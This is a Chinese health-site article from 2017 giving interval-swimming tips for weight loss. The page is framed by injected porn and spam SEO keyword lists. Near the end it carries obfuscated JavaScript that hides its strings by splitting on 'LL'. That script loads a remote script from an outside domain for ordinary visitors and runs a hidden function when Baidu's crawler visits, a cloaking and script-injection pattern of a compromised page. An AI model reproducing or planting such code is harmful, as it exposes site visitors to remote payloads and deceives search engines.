久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

怎樣游泳減肥最快呢?

2017-04-21 15:07:58  來源:360常識網   熱度:
導語:炎炎夏日,到游泳池游泳,不僅夢享受清涼,更重要的是,還能減肥,這對胖胖的女孩來說,簡直就是福音。說到這里,很多人估計會問,怎么游泳

炎炎夏日,到游泳池游泳,不僅夢享受清涼,更重要的是,還能減肥,這對胖胖的女孩來說,簡直就是福音。說到這里,很多人估計會問,怎么游泳減肥效果更好呢?專家表示,游泳時全力以赴,縮短休息時間,使用踢腿板,分時間段練習,或者多次短距離游都能達到減肥的目的。

首先,游泳需要分時間段的練習,像專業游泳選手訓練一樣,將游泳分成四節,節與節之間休息15—30秒。具體編排是先游1個來回,再游2個來回,隨后再游2個來回,最后是1個來回,每節結尾要快游。

游泳時千萬別想其他的事情,心率保持在80%左右,為了保證這一標準,每游一段時間,對著表數數脈搏在6秒內跳多少次,后面加個“0”就是1分鐘的心率。

然后,在游泳過程中的休息時間要減少一半,直到一個來回或間歇時間減少到10秒為止。如果要減肥,每次游泳時間應在40分鐘以上,這樣的減肥效果才最好。

其次,很多在游泳過程中都會犯同一個錯誤,那就是在游泳時慢悠悠的,其實這樣消耗的熱量遠遠不如快速短距離游消耗的多,但是快游也不要貫穿始終,否則體力消耗太快。可以一段慢游接一段快游,兩段慢游再接兩段快游等。

通常游泳的人的新陳代謝都會加速,30分鐘就可以消耗1100千焦的熱量,而且這樣的代謝速度在你離開水的以后還能保持一段時間,所以游泳是非常理想的減肥方法。

水的阻力是空氣阻力的12倍數,因此游泳的話,能夠很好的鍛煉人的背部,脊梁,腹部和腰部,腿部的肌肉,這個時候,你一定要放開游泳,只有這樣,全身肌肉才能得到鍛煉。另外在游泳前,最好吃一點富含熱量的食物,比方火腿腸,有助于提高身體耐力。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: www.五月婷婷 | 久久不卡| 亚洲精品国产第一综合99久久 | 国产成人久久精品一区二区三区 | 日本一区二区三区在线播放 | 久久精品这里热有精品 | 日本一二区视频 | 久久国产一区二区三区 | 午夜久久| 国产999精品久久久影片官网 | 日本在线观看 | 综合五月| 污网址在线观看 | 欧美精品一区二区视频 | 在线观看亚洲精品视频 | 精品国产一级毛片 | 国产精品久久久久影院色老大 | 亚洲精品久久久日韩美女极品合集下载 | 国产成人av免费 | 久久久国产精品入口麻豆 | 美女91| 成人看片毛片免费播放器 | 国产免费无遮挡 | 日本成人一区二区 | 日韩精品免费一区二区夜夜嗨 | 在线一区| 日韩黄色在线 | 夜夜爽网址 | 日日摸天天爽天天爽视频 | 国产一区二区三区高清 | 91不卡 | 国产精品美女av | 亚洲不卡视频在线 | 综合国产 | 免费看片一区二区三区 | 欧美区国产区 | www.国产.com| 九九亚洲 | 欧美午夜寂寞影院 | 天天操狠狠操 | 精品久久亚洲 |